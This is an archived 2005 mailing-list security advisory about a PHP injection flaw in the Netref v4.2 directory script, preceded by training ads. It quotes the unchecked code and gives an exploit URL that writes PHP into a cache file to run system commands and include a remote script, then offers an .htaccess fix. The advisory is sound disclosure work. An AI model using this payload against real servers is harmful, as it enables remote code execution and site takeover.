Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Vuln-Dev
[Top] [All Lists]

Annuaire Netref v4.2 [ fwrite php ] vulnerability

Subject: Annuaire Netref v4.2 [ fwrite php ] vulnerability
Date: Wed, 20 Apr 2005 00:31:16 +0200
Software: annuaire netref
version : 4.2
url : http://www.netref.net
Risk factor : critical

Vendor has been contacted


Description: -----------

Netref is a PHP/MySQL-based directory script that supports an unlimited
number of categories and links.
Many fonctions to manage the links : Fast search engine with syntax
coloring, Edit icone of category, Alias sites, Check validity of URL,
Possibility to comment the sites, Administrator access to edit all datas
and validate suggested links by users, batch processing, etc.
Also includes Multi-language support (French, English : very easy to add
langage with the system of package).
Very easy to update from older versions.
Very fast rendering.


Vulnerability: -------------

There is a vulnerability in the handling of input by Netref. Because of
this, it may be possible for a remote user to gain unauthorized access
to the system using the vulnerable software.

The file "script/cat_for_gen.php" does not check the variables $ad,
$ad_direct and $m_for_racine.


*************************** CODE ********************************* if ($ad==1){ if (!isset($ad_direct)) $ad_direct=""; // variable appelé que dans certains cas

        $fp=fopen($ad_direct."cache/cat_for.php", "w");
        $temp="<SELECT NAME='categorie'><OPTION VALUE='0'"; // entete du 
formulaire
                $temp.=">$m_for_racine</OPTION>";
                fwrite ($fp,$temp);
*************************** CODE *********************************


We can see that the $m_for_racine variable is not initialized and will be written in the cache/cat_for.php file. We can inject any php commands !


Exploit: -------

http://www.yourdomain.com/[netref_folder]/script/cat_for_gen.php?ad=1&ad_direct=../&m_for_racine=</option></SELECT><?php


sytem($command);include($remote_script)?>



Solution:
--------

While waiting to upgrade to last version, make a .htaccess file in "script/" directory with : deny from all



Credit:
------

jaguar[at]wulab.com
http://jaguar.wulab.com


<Prev in Thread] Current Thread [Next in Thread>
  • Annuaire Netref v4.2 [ fwrite php ] vulnerability, jaguar <=